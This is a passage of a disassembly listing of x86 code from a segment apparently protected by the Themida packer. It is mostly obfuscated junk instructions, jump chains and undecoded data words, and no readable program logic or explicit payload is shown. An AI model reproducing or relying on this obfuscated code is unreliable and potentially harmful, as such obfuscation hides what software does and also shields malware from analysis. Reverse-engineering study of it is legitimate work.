81242C8Bh, 4C4h, 0C1E7D100h dd 0E78105EFh, 1A567493h, 2EDFE9h, 24048B00h, 4E34E9h dd 4C38100h, 81000000h, 4C3h, 241C8700h, 24048F5Ch, 0AB0F665Ch dd 0E99C2404h, 0FFFFDA15h, 42474FFh, 83243C8Bh, 65E904C4h dd 68000088h, 0F0Eh, 0E9242489h, 4A8Ch ; --------------------------------------------------------------------------- loc_5380C8: ; CODE XREF: Themida_:loc_538788j shr edx, 1 cmp eax, edx jz loc_536DA6 push 6DECh mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 79FF12BDh shl ecx, 4 add ecx, 0BDCC3D44h push ecx jmp loc_53DDE5 ; --------------------------------------------------------------------------- dd 0E904C683h, 9A4h ; --------------------------------------------------------------------------- loc_5380FC: ; CODE XREF: Themida_:0053F80Aj push edx mov edx, 124A08F8h not edx or edx, 6D422C7Fh neg edx xor edx, 0E190C9Ch mov esi, edx pop edx or esi, 5CAB36D5h sub esp, 4 mov [esp], ebx mov ebx, 5D9E47A5h dec ebx jmp loc_53B19D ; --------------------------------------------------------------------------- dd 51D831ADh, 0BE56E189h, 7EE57D9Fh, 0EE81DEF7h, 5A2870BEh dd 0D3F7DE87h, 0EE81DE87h, 0D90DEE58h, 348BF101h, 45ABE924h dd 14330000h, 24248B24h, 24048B66h, 81E38953h, 4C3h, 4EC8100h dd 0E9000000h, 9A29h, 240C8B66h, 0E9595451h, 4927h, 25E95866h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538187: ; CODE XREF: Themida_:00537D1Cj jz loc_53A52F push dword ptr [edi+1Ch] mov ecx, [esp] push 78D0h mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 jmp loc_540349 ; --------------------------------------------------------------------------- db 89h dd 29BA2414h, 0E925622Eh, 8111h, 0FF2434FFh, 57582434h dd 0E953E789h, 2E17h, 33240431h, 665C2404h, 0E9240489h dd 0FFFFD8E9h, 0FFD8E4E9h, 240C8BFFh, 81E78957h, 4C7h dd 0F999E900h, 68ACFFFFh, 0C2Bh, 5CB5E9h, 24048900h, 2B8h dd 37A2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538206: ; CODE XREF: Themida_:00542069j pop ecx jmp loc_5365C4 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4466E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53821A: ; CODE XREF: Themida_:0054061Dj add esp, [edx+38h] sub esp, 4 mov [esp], ebp jmp loc_541EB5 ; --------------------------------------------------------------------------- loc_53822B: ; CODE XREF: Themida_:005373A1j xchg edx, [esp] mov esp, [esp] mov [esp], edx jmp loc_537312 ; --------------------------------------------------------------------------- aFpsv db '[fPé‚',9,0 dd 5EEC000h, 0A08AE9h, 55E28900h, 4BDh, 9AC28100h, 81733B75h dd 0F70AB6C2h, 0F4E0E922h, 0DE09FFFFh, 9608E95Bh, 0EFD10000h dd 3E7C147h, 5106EFC1h, 913222B9h, 0B6F1813Ah, 8170166Dh dd 0B62D0E9h, 59CF014Bh, 3D66C905h, 23B82D11h, 0F8016A34h dd 0FFEC3EE9h, 2E959FFh, 5D00003Ah, 26852h, 2AE90000h dd 0BE000014h, 2, 1A63C181h, 2EE93299h, 57000067h, 0C781E789h dd 4, 0E904EF83h, 0FFFFE58Ah, 2C77C580h, 0E9C1E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5382D6: ; CODE XREF: Themida_:00539DF9j push 4BC7h mov [esp], esi push esp pop esi push 3ABDh mov [esp], eax mov eax, 67394024h and eax, 18B70FCCh jmp loc_53C374 ; --------------------------------------------------------------------------- loc_5382F7: ; CODE XREF: Themida_:0054229Ej shr ebp, 6 not ebp push edi mov edi, 6415568h sub edi, 63291EEBh shl edi, 1 push eax mov eax, 793E18EDh jmp loc_540F1A ; --------------------------------------------------------------------------- db 0BAh, 23h, 1Eh dd 0D7311806h, 63C1815Ah, 1796B2Dh, 2878E9F9h, 2B680000h dd 5F15B911h, 4247C01h, 6368585Fh, 89000070h, 0E955243Ch dd 8F04h, 0B251B753h, 5BFA307Ch, 5835E9h, 97B75300h, 0E902EFC0h dd 1062h, 0C002EBC0h, 0C38006E3h, 5BD828D3h, 54D6E9h db 0 ; --------------------------------------------------------------------------- loc_53836D: ; CODE XREF: Themida_:00540AD7j mov ebp, 4 jmp loc_53F6C3 ; --------------------------------------------------------------------------- db 0FFh dd 48B3C77h, 6876824h, 1C890000h, 525B5424h, 4BAh, 0D89EE900h dd 0E9ACFFFFh, 0FFFFE7FEh, 0C381EB29h, 55BE788Ah, 39EEE9h db 0 ; --------------------------------------------------------------------------- loc_5383A5: ; CODE XREF: Themida_:0053E31Bj mov [esp], ecx mov ecx, 72552122h push esi push edx jmp loc_53F8D3 ; --------------------------------------------------------------------------- loc_5383B4: ; CODE XREF: Themida_:0053D1A6j mov edi, 577A011Ch and ebp, edi pop edi sub ebp, 0F53B8F1Eh and ecx, ebp pop ebp sub ecx, 57B9F2CFh mov esi, ecx pop ecx jmp loc_539FE9 ; --------------------------------------------------------------------------- db 58h dd 665AEE80h, 2026B151h, 0F094E9CEh, 0BD55FFFFh, 7506197Dh dd 0ED81DDF7h, 317568C8h, 3BE0E581h, 0F581694Ch, 3E1F7105h dd 4B41F581h, 52E9312Ah, 100003Fh, 665F05D8h, 0E951400Eh dd 9855h, 0E924248Bh, 0FFFFD6A5h ; --------------------------------------------------------------------------- loc_53841C: ; CODE XREF: Themida_:0053BD4Dj mov ebp, 8615A55h not ebp inc ebp sub ebp, 0BF9C3C36h jmp loc_53ADA8 ; --------------------------------------------------------------------------- db 0FFh dd 148B2434h, 4C48324h, 4EC81h, 4AE90000h, 8B00000Ch, 7AE92404h dd 81FFFFEBh, 9104E4C5h, 9526E942h, 0D0290000h, 8BC3015Ah dd 89522404h, 0D7B0E9E2h, 56E9FFFFh, 66FFFFD6h, 81240C8Bh dd 4ECh, 242C8900h, 48A4E9h db 0 ; --------------------------------------------------------------------------- loc_53847D: ; CODE XREF: Themida_:005408EEj add ebx, 4 jmp loc_5421FB ; --------------------------------------------------------------------------- loc_538488: ; CODE XREF: Themida_:0053D1FEj xor edi, 30AA2915h xor edi, 45C3DECCh jmp loc_539A2C ; --------------------------------------------------------------------------- db 81h, 0EAh, 74h dd 8158C706h, 9E62F2h, 289DE9FDh, 58540000h, 570E9h, 0E95D5A00h dd 0FFFFD609h, 0F24248Bh, 9C51C8AFh, 69CBE9h, 31EF8100h dd 2925F664h, 31C781D7h, 8B25F664h, 0C4812414h, 4, 0E908E7C1h dd 21C7h, 67D6E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5384EA: ; CODE XREF: Themida_:0053B8D5j mov [esp], ebp mov ebp, 1C1152F9h shr ebp, 5 shl ebp, 4 sub ebp, 33767CF5h shl ebp, 1 xor ebp, 0B72458F6h jmp loc_5419E4 ; --------------------------------------------------------------------------- db 5Eh dd offset dword_511C48+1A1h dd 2B900h, 0CE010000h, 81240C8Bh, 4C4h, 0CDE95600h, 81FFFFE6h dd 0EAE012F2h, 0F4ACE901h, 61BFFFFFh, 8156B06Dh, 151D0CEFh dd 0CFE78139h, 4F087F70h, 0C104EFC1h, 0EF8106E7h, 206D40FEh dd 8A20E9h, 3E2C100h, 58BEE9h, 0BA525A00h, 52806423h, 0A4CC281h dd 63E945DEh, 6600003Ch, 81240C8Bh, 4ECh, 0F13FE900h, 48BFFFFh dd 4C48124h, 0C0000000h, 0C4E908EAh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53858F: ; CODE XREF: Themida_:0053EC0Ej pop edi mov edx, ebx pop ebx xor edx, eax mov eax, [esp] add esp, 4 push esi mov esi, 1EA84024h xor edx, esi pop esi sub edx, 17676960h push edx jmp loc_53605B ; --------------------------------------------------------------------------- dd 2D58C689h, 1126120Dh, 0D05F001h, 5E112612h, 5C240487h dd 24048B66h, 5D4268h, 241C8900h, 5551E389h, 362BBB53h dd 814B55FBh, 867D8CE3h, 0A41E958h, 3C8B0000h, 4C48324h dd 8B24048Fh, 0BCE92424h, 55FFFFF8h, 4DDAE9h, 0E9505100h dd 920Ch, 4EC81h, 1C890000h, 808FB724h, 0EC83DEE7h, 29AAE902h dd 1C870000h, 0C895C24h, 51E95E24h, 68FFFFF6h, 53ECh, 6D5E9h dd 7FE95600h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538637: ; CODE XREF: Themida_:00536DA9j mov ebx, [esp] push ebx jmp loc_539401 ; --------------------------------------------------------------------------- dd 2485B850h, 0E9486CA9h, 44F8h ; --------------------------------------------------------------------------- loc_53864C: ; CODE XREF: Themida_:00539022j push dword ptr [esp] jmp loc_539F7E ; --------------------------------------------------------------------------- dd 325DE381h, 81432B60h, 0BF6E15F3h, 7973E959h, 8F5E0000h dd 895C2404h, 9DBA2414h, 684C5120h, 6A7Dh, 0FFF1F6E9h dd 80A3B5FFh, 0C5801FF5h, 14F580DAh, 0C059EB30h, 0EBC003E3h dd 0B3B05006h, 3B2CC8FEh, 0C300912Ch, 4EC8158h, 89000000h dd 0E952240Ch, 4E3Eh, 4240481h, 0E9000000h, 0BAAh, 2474FF57h dd 1D58E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5386C2: ; CODE XREF: Themida_:0053D17Bj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push eax mov eax, esp jmp loc_535D3E ; --------------------------------------------------------------------------- dw 0DC88h dd 93E9E188h, 5BFFFFE1h, 0B60FC330h, 8734FFC0h, 0FFD3D4E9h dd 82B252FFh, 51A9E280h, 0E980A7B1h, 105AE9E5h, 0C8000000h dd 93F9E9h, 1AD2D00h, 0C3298409h, 0D994E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_538712: ; CODE XREF: Themida_:00535E2Cj add ecx, 25F42F8Dh mov esi, [esp] add esp, 4 jmp loc_536292 ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 875EF701h, 248B243Ch, 0D62EE924h, 3A05FFFFh, 106EA31h dd 92BB53F8h, 817A8B53h, 783D68C3h, 9DE3816Fh, 8165F248h dd 73405CBh, 3BB6E923h, 48F0000h, 7CE95C24h, 87000094h dd 55C2434h, 15120F1Ah, 0BD55D801h, 0DDC65FDh, 28D4E581h dd 0EDC132C2h, 0E9D5F707h, 4EF7h ; --------------------------------------------------------------------------- loc_538788: ; CODE XREF: Themida_:00540746j jnz loc_5380C8 push eax mov eax, 2B56521Bh neg eax push edi mov edi, 0F447E1h dec edi dec edi not edi xor edi, 2BA215E5h sub eax, edi jmp loc_53B984 ; --------------------------------------------------------------------------- db 53h, 0BBh, 45h dd 0E939D608h, 2006h, 54F65066h, 8B660124h, 0C4812404h dd 2, 5349F480h, 8851E788h, 59EA88FDh, 83241C8Bh, 48B04C4h dd 4C48124h, 4000000h, 495CE97Bh, 0C2810000h, 4, 8704EA83h dd 0D8E92414h, 5A00006Eh, 8B24048Fh, 0CD22424h, 0B6E99C24h dd 81FFFFD2h, 0FFFFFFC2h, 6AEA81FFh, 1911824h, 24148BD0h dd 5EC9E9h, 50E68900h, 494D94B8h, 0F405402Ah, 0C146E776h dd 0E8C105E8h, 67A20504h, 0C601FFC7h, 0A7BB5358h, 816DD231h dd 0EE2874C3h, 4E3C155h, 0FFF3C3E9h, 0D26BE9FFh, 0EB81FFFFh dd 7A3F12B6h, 76BEBD55h, 0EB297F03h, 6412E9h, 0C8B6600h dd 39D0E924h, 0E95A0000h, 6289h ; --------------------------------------------------------------------------- loc_538878: ; CODE XREF: Themida_:0053E53Aj mov ebp, 24DB74D3h neg ebp jmp loc_54113C ; --------------------------------------------------------------------------- dd 0B9240C89h, 50914D06h, 0E93EE981h, 0CF8967BAh, 83240C8Bh dd 68E904C4h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53889F: ; CODE XREF: Themida_:00538BF9j pop eax sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push ebp mov ebp, 4 add ebx, 5C87B74h add ebx, 2F393A01h add ebx, ebp jmp loc_5423C3 ; --------------------------------------------------------------------------- dw 0C483h dd 26E95004h, 0B800000Dh, 4, 322DE9h db 0 ; --------------------------------------------------------------------------- loc_5388E9: ; CODE XREF: Themida_:0053ECB4j pop eax jmp loc_540733 ; --------------------------------------------------------------------------- loc_5388EF: ; CODE XREF: Themida_:0053B959j jmp loc_535AC1 ; --------------------------------------------------------------------------- loc_5388F4: ; CODE XREF: Themida_:0053AA67j pop esi jmp loc_54228E ; --------------------------------------------------------------------------- dw 487h dd 14895C24h, 56E28924h, 3A4F4FBEh, 0BD554668h, 9650A35h dd 4EC81h, 90E90000h, 89FFFFF8h, 6CE92404h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538923: ; CODE XREF: Themida_:0053CD1Cj neg edx push ecx jmp loc_53D024 ; --------------------------------------------------------------------------- db 5Eh dd 4C481h, 8AE90000h, 68FFFFD1h, 512Fh, 54241C89h, 1497E9h dd 2434FF00h, 7E6FE95Ah, 2C890000h, 0F3685624h, 5E55245Eh dd 4178EE81h, 0C68106E5h, 0B1C0E287h, 815EF589h, 0E949C0EFh dd 81EF0162h, 0E949C0C7h, 70C7E962h, 555E0000h, 85629BBDh dd 6E89E903h, 53AC0000h, 0D80079B3h, 0FFF483E9h, 0F6F280FFh dd 34FFD030h, 54525A24h, 46BE565Ah, 81285871h, 9114BBEEh dd 70F68156h, 812C0D2Eh, 0CA72FFF6h, 0E9F201FDh, 0FFFFE095h dd 0E940478Fh, 0FFFFD0FDh, 0E9C3305Ch, 4516h, 5224048Bh dd 0C281E289h, 4, 5204C283h, 42474FFh, 0E924148Bh, 43Fh ; --------------------------------------------------------------------------- loc_5389E8: ; CODE XREF: Themida_:0053DB4Cj mov ebx, [esp] push esi mov esi, esp jmp loc_53A4AE ; --------------------------------------------------------------------------- db 81h dd 0BE2D71C2h, 0BFEB8156h, 105D71Bh, 35BA52D3h, 0E9459E7Eh dd 744Eh, 0E9241487h, 2875h, 0C581D501h, 28C62C74h, 346BE9h dd 40500h, 2050000h, 0E9000000h, 1B78h, 0BF5E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538A36: ; CODE XREF: Themida_:00541E25j pop ecx push ebx jmp loc_540642 ; --------------------------------------------------------------------------- db 5Ah, 80h, 0F1h dd 59C8000Ch, 0E9516704h, 1A17h, 240C875Ch, 24248Bh, 0E99C2404h dd 7A78h, 0C1880D34h, 3715E9h, 5D545500h, 1893E9h, 240C8900h dd 0FFD9F1E9h, 30E781FFh, 680F3333h, 0 dd 5F243C29h, 0C16BA52h, 0DAF75D71h, 0AAE28142h, 0E94D0A04h dd 1BD0h, 0E924048Bh, 75EEh, 5C243487h, 8B24048Fh, 0F662424h dd 9C2404BBh, 0FFD00CE9h, 0BAF380FFh, 8626E9h, 24348900h dd 0FFF7E6E9h, 3A60B9FFh, 0D1F76ABCh, 5496E181h, 0C1814B37h dd 39980EFEh, 5159CF31h, 0FFFFFFB9h, 59CF01FFh, 0C102EFC1h dd 0C78106EFh, 0FFC59AB1h, 685FFA01h, 717Ch, 0FF241489h dd 0E9042474h, 135Fh, 0C383C5BAh, 5FFA01BBh, 34FFD701h dd 0E9565A24h, 4C33h, 0C3296659h, 48E95866h, 0FF00006Ch dd 669D1C77h, 14D36659h, 4E99C24h, 6800008Bh, 817h, 0B8240489h dd 2B893B8Eh, 29CCE405h, 0EC11E937h, 0ED81FFFFh, 0D9D0403h dd 3568515Fh, 0E947DF53h, 2D8Ch ; --------------------------------------------------------------------------- loc_538B5C: ; CODE XREF: Themida_:005377CEj push ecx sub esp, 4 jmp loc_53AEE4 ; --------------------------------------------------------------------------- loc_538B65: ; CODE XREF: Themida_:00537D5Bj push dword ptr [edi+eax*4] jmp loc_538BF6 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 815C243Ch, 241B4AF6h, 1411687Fh, 14890000h dd 6FCBBA24h, 0F2814E04h, 2B0274Ch, 0E464EA81h, 0D629EA10h dd 8090E9h, 81D18700h, 342E70C9h, 0C7F1817Ch, 89DB888Dh dd 68E959CFh, 50000063h, 350811B8h, 2423353Dh, 7FE95010h dd 0B4000097h, 7A58E93Ch, 48B0000h, 5E545624h, 8904EC83h dd 0C6BB241Ch, 435B8F3Bh, 368EEB81h, 0EBC159C5h, 23F38108h dd 814C040Eh, 0F17862C3h, 60DE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538BF6: ; CODE XREF: Themida_:00538B68j push dword ptr [esp] jmp loc_53889F ; --------------------------------------------------------------------------- aSJ db ']éÊJ',0 align 4 loc_538C04: ; CODE XREF: Themida_:0053F05Aj shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] mov eax, [esp] push 6AB2h mov [esp], ecx jmp loc_540F2C ; --------------------------------------------------------------------------- db 54h, 8Bh, 0Ch dd 4C48124h, 83000000h, 348904ECh, 4B95124h, 89000000h dd 0E98159CEh, 28183060h, 0C181F101h, 28183060h, 4BD555Eh dd 1000000h, 44E4E9E9h, 0EB010000h, 241C875Dh, 36F6E9h db 0 ; --------------------------------------------------------------------------- loc_538C5D: ; CODE XREF: Themida_:005393A1j push 3C32h mov [esp], edx push eax mov eax, 477E3F29h push ebx jmp loc_540BC6 ; --------------------------------------------------------------------------- db 54h, 8Bh, 4 aQisse db '$Q‰áée',0 align 4 dd 48F5900h, 24248B24h, 240C8B66h, 7A7B68h, 241C8900h dd 5EC6E9h db 0 ; --------------------------------------------------------------------------- loc_538C95: ; CODE XREF: Themida_:0053CCE0j or bl, 80h neg bl sub bl, 0BDh jmp loc_540E2D ; --------------------------------------------------------------------------- dw 0C3FEh dd 88F1EB80h, 0F58BE9DEh, 30FFFFFFh, 0FFCE0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_538CB5: ; CODE XREF: Themida_:005393E8j mov eax, 0FA0E764h sub ebp, 288354B8h sub ebp, eax add ebp, 288354B8h pop eax jmp loc_5412F2 ; --------------------------------------------------------------------------- aMqCa db '¬Q±c€Á',7,0 aY db 'ÈY',0 aQJsi db 'ØQµjé©=',0 align 2 dw 0B850h dd 4, 8158C101h, 4C1h, 19FDE900h, 0FDB60000h, 1F366853h dd 0C890000h, 78FDE924h, 0C890000h, 45D6E924h, 0C4810000h dd 4, 8B24048Fh, 4892424h, 0CD9FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_538D22: ; CODE XREF: Themida_:0053E7ECj mov ebp, 77AB5418h jmp loc_541B05 ; --------------------------------------------------------------------------- loc_538D2C: ; CODE XREF: Themida_:0053F7E2j sub edi, ecx pop ecx jmp loc_5369A2 ; --------------------------------------------------------------------------- loc_538D34: ; CODE XREF: Themida_:0054091Bj push dword ptr [esp] pop ebp add esp, 4 or eax, eax jz loc_53C3DD push edx jmp loc_53DD94 ; --------------------------------------------------------------------------- loc_538D4C: ; CODE XREF: Themida_:0053CBDEj add ecx, 4B7240AFh add ecx, esi sub ecx, 4B7240AFh pop esi add ecx, 4 xchg ecx, [esp] pop esp push 6007h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_53F944 ; --------------------------------------------------------------------------- db 81h, 0EBh, 78h dd 8159152Dh, 252169EBh, 81C30120h, 252169C3h, 78C38120h dd 5859152Dh, 4EC81h, 0C890000h, 37AEB924h, 0E9495D53h dd 4D49h ; --------------------------------------------------------------------------- loc_538DAC: ; CODE XREF: Themida_:0053C867j mov [esp], ebx mov bl, 1Dh push eax mov ah, 71h inc ah jmp loc_540CAD ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 24048900h, 0BE56E089h, 3D632ED8h, 4FB4C681h dd 0D6F752F0h, 1A43E681h, 0E6C1684Dh, 7CBB5307h, 29060021h dd 241C8BDEh, 104C483h, 0BB535EF0h, 2, 436D382Dh, 5D80132h dd 32436D38h, 517EE9h db 0 ; --------------------------------------------------------------------------- loc_538E09: ; CODE XREF: Themida_:0053A641j pop edx add ecx, edi push 0F88h mov [esp], eax mov eax, 0 jmp loc_536B64 ; --------------------------------------------------------------------------- dw 48Fh dd 0F5E95524h, 81000073h, 4ECh, 24348900h, 0E952E689h dd 411Ah, 971713BDh, 60C3813Bh, 50066A37h, 3492E9h db 0 ; --------------------------------------------------------------------------- loc_538E49: ; CODE XREF: Themida_:0053A4B7j xchg esi, [esp] pop esp push edx push ecx push 183D1E57h pop ecx not ecx add ecx, 82276BBCh mov edx, ecx pop ecx add edx, 1 add edx, 5A294A2Ch jmp loc_53E318 ; --------------------------------------------------------------------------- db 1, 0D7h, 0E9h dd 8974h, 882AB652h, 35E95AF1h, 51000071h, 511CE9h, 5585400h dd 4, 0AA4B951h, 12E96393h, 54000080h, 4C5815Dh, 83000000h dd 0F4E904C5h, 0FF00004Bh, 2E92434h, 1000038h, 0EC812404h dd 4, 0BA241489h, 121914EBh, 8F25E9h, 5AD52900h, 576E95Eh dd 1590000h, 0D1EE81C6h, 52548C73h, 8904EC83h, 0F1B82404h dd 0BA2D7A35h, 9E2F4F7Dh, 8158C229h, 0C117B3C2h, 25EA8166h dd 53007D73h, 2A79B9BBh, 5BDA2127h, 477CC281h, 50E94AAAh dd 66000067h, 0E9241C89h, 86FEh ; --------------------------------------------------------------------------- loc_538F18: ; CODE XREF: Themida_:00540F1Dj sub edi, 2AC51121h or ebp, edi mov edi, [esp] add esp, 4 add ebp, 320090Dh mov ebx, ebp push dword ptr [esp] pop ebp add esp, 4 and ecx, ebx pop ebx shr ecx, 2 push 13E3h mov [esp], ebx push esi mov esi, 3AFC5236h add [esp+4], esi jmp loc_53E7B6 ; --------------------------------------------------------------------------- dd 0D8001FB3h, 241C8B66h, 0D8AE9h db 0 ; --------------------------------------------------------------------------- loc_538F65: ; CODE XREF: Themida_:005390C3j inc ecx push ebp mov ebp, 0E1E5A2Bh jmp loc_53DE7A ; --------------------------------------------------------------------------- db 80h, 0C2h, 0A5h dd 285AD000h, 2CA52CD8h, 0D219E9ADh, 23BFFFFFh, 2978FD14h dd 0E904247Ch, 253Eh ; --------------------------------------------------------------------------- loc_538F90: ; CODE XREF: Themida_:00539952j pop eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_53C502 ; --------------------------------------------------------------------------- loc_538FA8: ; CODE XREF: Themida_:0053EAB4j pop ebp neg edi dec edi add edi, 0E818CC7Bh or ecx, edi mov edi, [esp] add esp, 4 and ecx, 318013C7h push ebx push edi mov edi, 0FFFFFFFFh mov ebx, edi pop edi sub ecx, ebx mov ebx, [esp] jmp loc_541791 ; --------------------------------------------------------------------------- loc_538FD4: ; CODE XREF: Themida_:005401A5j push dword ptr [edi+24h] push edx push 0FFFFFFFFh jmp loc_53F51D ; --------------------------------------------------------------------------- dw 0DAF7h dd 0E281DAF7h, 76407AD4h, 3EDFBB53h, 0EBC17FE4h, 82E95304h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538FFB: ; CODE XREF: Themida_:0053D33Ej shl ecx, 5 sub ecx, 0C1E88757h push 0 sub [esp], ecx pop ecx xor ecx, 0D07EE6F7h push ecx add dword ptr [esp], 6912524Ch pop ebp sub ebp, 6912524Ch jmp loc_53864C ; --------------------------------------------------------------------------- db 0C1h dd 0D3F702EBh, 77D7F381h, 2BE9E185h, 8000005Eh, 0E600C8F4h dd 5AF03058h, 6852C330h, 28h, 3EE9555Ah, 0C0000017h, 0BCE907E2h dd 5D000004h, 2C281h, 14870000h, 24248B24h, 0FFD220E9h dd 0C8B66FFh, 1B16E924h, 8EBB0000h, 5356FF73h, 0E92414F7h dd 48DDh ; --------------------------------------------------------------------------- loc_539080: ; CODE XREF: Themida_:005364A8j pop ecx jmp loc_5421D5 ; --------------------------------------------------------------------------- dw 0E789h dd 0FFD466E9h, 241489FFh, 0FFE0B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_539095: ; CODE XREF: Themida_:0053C465j add eax, 739241A0h pop edi xchg eax, [esp] pop esp mov [esp], edi mov edi, 4 jmp loc_53F8DD ; --------------------------------------------------------------------------- dd 8058C328h, 0EB800DEBh, 0C0B60FC6h, 0FFD140E9h db 0FFh ; --------------------------------------------------------------------------- loc_5390BD: ; CODE XREF: Themida_:0053CC1Bj push ecx mov ecx, 7949497Fh jmp loc_538F65 ; --------------------------------------------------------------------------- dd 7340F181h, 0CB896D3Ch, 245C0159h, 0E6E95B04h, 0B7FFFFC9h dd 5BF82887h, 8704C828h, 240C8B66h, 3534E952h, 1C8B0000h dd 83ADE924h, 52660000h, 0FFF254E9h db 0FFh ; --------------------------------------------------------------------------- loc_5390FD: ; CODE XREF: Themida_:00540CDDj add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_53E4E8 ; --------------------------------------------------------------------------- dw 0EC83h dd 0EFA1E904h, 0EE81FFFFh, 0CEB4B869h, 2046E9h, 4C28100h dd 0E9000000h, 438Bh ; --------------------------------------------------------------------------- loc_539130: ; CODE XREF: Themida_:0053FB10j shr ecx, 0Ah sub esp, 4 mov [esp], esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_53D343 ; --------------------------------------------------------------------------- dw 0C483h dd 4EC8104h, 0E9000000h, 11F9h, 0C581DDF7h, 6FF622DAh dd 0D8C5814Dh, 31407153h, 0C2015DE8h, 24148758h, 0B30F665Ch dd 0E99C2404h, 0FFFFC939h ; --------------------------------------------------------------------------- loc_539188: ; CODE XREF: Themida_:00541292j shl edx, 1 push 6B80h mov [esp], ecx push edx push 23C3050Ah jmp loc_53A4BC ; --------------------------------------------------------------------------- loc_53919D: ; CODE XREF: Themida_:005410DEj add ecx, eax pop eax jmp loc_53F5AA ; --------------------------------------------------------------------------- db 89h, 0EEh, 5Dh dd 685EF501h, 123Eh, 0FF242C89h, 5D042474h, 0E924048Fh dd 877Bh, 0F06D6E25h, 0F49354Fh, 0C6311856h, 64E68158h dd 0E94CF032h, 0FFFFD994h, 96968h, 243C8900h, 0DD3418BFh dd 0BB53566Ah, 23B33CD7h, 3BB8E381h, 0EB810ECCh, 72FD08E9h dd 0FFF457E9h, 0E0E954FFh, 81FFFFDDh, 0F73C84EBh, 45F2E9A1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53920E: ; CODE XREF: Themida_:00540797j sub [esp], al pushf jmp loc_535AC1 ; --------------------------------------------------------------------------- db 0C1h dd 0E78104E7h, 6AB42A10h, 14F781h, 9EE90A24h, 8100003Bh dd 8831C9E5h, 14F75524h, 0E5C15D24h, 7EDC106h, 0A43FED81h dd 0EF89F7D4h, 96BE565Dh, 16C3821h, 0CF815EF7h, 19BA2C5Ch dd 297B951h, 0F7494A4Ch, 5469E9D1h, 0E95E0000h, 7418h ; --------------------------------------------------------------------------- loc_539268: ; CODE XREF: Themida_:0053EBB4j push edx mov edx, 783F23BAh xor ecx, edx pop edx push esi mov esi, 3A822E0Fh xor ecx, esi push dword ptr [esp] pop esi add esp, 4 mov ebx, ecx push dword ptr [esp] pop ecx jmp loc_541806 ; --------------------------------------------------------------------------- loc_53928E: ; CODE XREF: Themida_:0053F28Bj pop ebx pop eax push dword ptr [esp] pop ecx jmp loc_53DA3B ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 10E90000h, 0C0000018h, 0C38004E3h, 5BD80034h, 0FFDB62E9h dd 243C89FFh, 42474FFh, 24048F5Fh, 0FFC800E9h, 81DEF7FFh dd 52ADE1F6h, 5EF38999h, 0BBFE381h, 0EBC137B0h, 5E3C105h dd 0D102E3C1h, 4EC83E3h, 0BD242C89h, 49315001h, 0EDC1DDF7h dd 7CE58105h, 0C106D063h, 0ED8106E5h, 5B365C70h, 788AEB81h dd 91E955BEh, 0ADFFFFF0h, 5451D831h, 0FFD122E9h, 246C01FFh dd 2434FF04h, 4C4835Dh, 4BD5559h, 1000000h, 242C8BE9h dd 5604C483h, 2BEh, 5EF10100h, 0E9240C87h, 3BB4h, 24148966h dd 0E99C5066h, 5B57h ; --------------------------------------------------------------------------- loc_539348: ; CODE XREF: Themida_:0053AE20j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_53C81B ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0C1830000h, 0D705E904h, 3489FFFFh, 87E95424h dd 8BFFFFDEh, 34FF2424h, 2434FF24h, 8124048Bh, 4C4h, 0E6895600h dd 4C681h, 0C7E90000h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_539393: ; CODE XREF: Themida_:00539AEFj sub esi, ebp pop ebp xor eax, esi pop esi push 0DF3h mov [esp], ecx jmp loc_538C5D ; --------------------------------------------------------------------------- loc_5393A6: ; CODE XREF: Themida_:0053D009j mov eax, [esp] push 5B57h mov [esp], eax jmp loc_54192E ; --------------------------------------------------------------------------- loc_5393B6: ; CODE XREF: Themida_:00541035j and edx, esi pop esi jmp loc_536867 ; --------------------------------------------------------------------------- dw 0C7FEh dd 0C780C7FEh, 0E976B661h, 1AFDh, 4BA52h, 0D0010000h, 2404875Ah dd 3709685Ch, 1C890000h, 0EE26E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5393E6: ; CODE XREF: Themida_:0053DCE3j pop esi push eax jmp loc_538CB5 ; --------------------------------------------------------------------------- db 55h, 0BDh, 3Bh dd 57430805h, 0CC0EA6BFh, 5FFD2908h, 0FFFD63E9h db 0FFh ; --------------------------------------------------------------------------- loc_539401: ; CODE XREF: Themida_:0053863Bj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_539722 ; --------------------------------------------------------------------------- dd 4BFh, 0D82FE900h db 2 